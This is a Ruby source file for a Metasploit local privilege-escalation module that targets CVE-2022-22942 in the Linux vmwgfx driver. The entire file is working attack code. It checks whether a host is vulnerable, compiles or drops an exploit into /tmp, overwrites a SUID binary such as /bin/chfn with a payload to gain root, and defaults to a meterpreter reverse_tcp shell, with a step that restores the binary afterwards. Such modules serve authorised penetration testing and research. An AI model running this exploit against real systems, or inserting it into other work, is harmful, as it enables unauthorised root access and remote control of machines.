174 lines
6.1 KiB
Ruby
174 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Kernel
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::Linux::Compile
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
|
|
'Description' => %q{
|
|
If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
|
|
recover by deallocating the (already populated) file descriptor. This is
|
|
wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
|
|
as the fd table slot was already populated via the previous call to
|
|
fd_install(). This leaves userland with a valid fd table entry pointing to
|
|
a free'd 'file' object.
|
|
|
|
We use this bug to overwrite a SUID binary with our payload and gain root.
|
|
Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.
|
|
|
|
Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Mathias Krause' # original PoC, analysis
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
|
|
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
|
|
[ 'CVE', '2022-22942' ]
|
|
],
|
|
'DisclosureDate' => '2022-01-28',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'PrependFork' => true
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_OS_DOWN],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
# seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
|
|
]
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def check
|
|
# Check the kernel version to see if its in a vulnerable range
|
|
release = kernel_release
|
|
unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
|
|
Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
|
|
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
|
|
end
|
|
|
|
vprint_good "Kernel version #{release} appears to be vulnerable"
|
|
|
|
@driver = nil
|
|
|
|
if writable?('/dev/dri/card0') # ubuntu, RHEL
|
|
@driver = '/dev/dri/card0'
|
|
elsif writable?('/dev/dri/renderD128') # debian
|
|
@driver = '/dev/dri/renderD128'
|
|
else
|
|
return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
|
|
end
|
|
vprint_good("#{@driver} found writable")
|
|
|
|
@suid_target = nil
|
|
if setuid?('/bin/chfn') # ubuntu
|
|
@suid_target = '/bin/chfn'
|
|
elsif writable?('/bin/chage') # RHEL/Centos
|
|
@suid_target = '/bin/chage'
|
|
else
|
|
return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
|
|
end
|
|
vprint_good("#{@suid_target} suid binary found")
|
|
|
|
if kernel_modules&.include?('vmwgfx')
|
|
return CheckCode::Appears('vmwgfx installed')
|
|
end
|
|
|
|
CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
|
|
end
|
|
|
|
def exploit
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
|
end
|
|
|
|
# Make sure we can write our exploit and payload to the local system
|
|
unless writable? base_dir
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
# backup the suid binary before we overwrite it
|
|
@suid_backup = read_file(@suid_target)
|
|
path = store_loot(
|
|
@suid_target,
|
|
'application/octet-stream',
|
|
rhost,
|
|
@suid_backup,
|
|
@suid_target
|
|
)
|
|
print_good("Original #{@suid_target} backed up to #{path}")
|
|
executable_name = ".#{rand_text_alphanumeric(5..10)}"
|
|
executable_path = "#{base_dir}/#{executable_name}"
|
|
if live_compile?
|
|
vprint_status 'Live compiling exploit on system...'
|
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
|
|
c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
|
|
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
|
|
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
|
|
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload
|
|
|
|
upload_and_compile executable_path, strip_comments(c_code)
|
|
register_files_for_cleanup(executable_path)
|
|
else
|
|
unless @suid_target == '/bin/chfn'
|
|
fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
|
|
end
|
|
vprint_status 'Dropping pre-compiled exploit on system...'
|
|
payload_path = '/tmp/.aYd3GAMlK'
|
|
upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
|
|
end
|
|
|
|
# Upload payload executable
|
|
print_status("Uploading payload to #{payload_path}")
|
|
upload_and_chmodx payload_path, generate_payload_exe
|
|
register_files_for_cleanup(generate_payload_exe)
|
|
|
|
print_status 'Launching exploit...'
|
|
output = cmd_exec executable_path, nil, 30
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
end
|
|
|
|
def cleanup
|
|
if @suid_backup.nil?
|
|
print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
|
|
else
|
|
print_status("Replacing trojaned #{@suid_target} with original")
|
|
write_file(@suid_target, @suid_backup)
|
|
end
|
|
super
|
|
end
|
|
end
|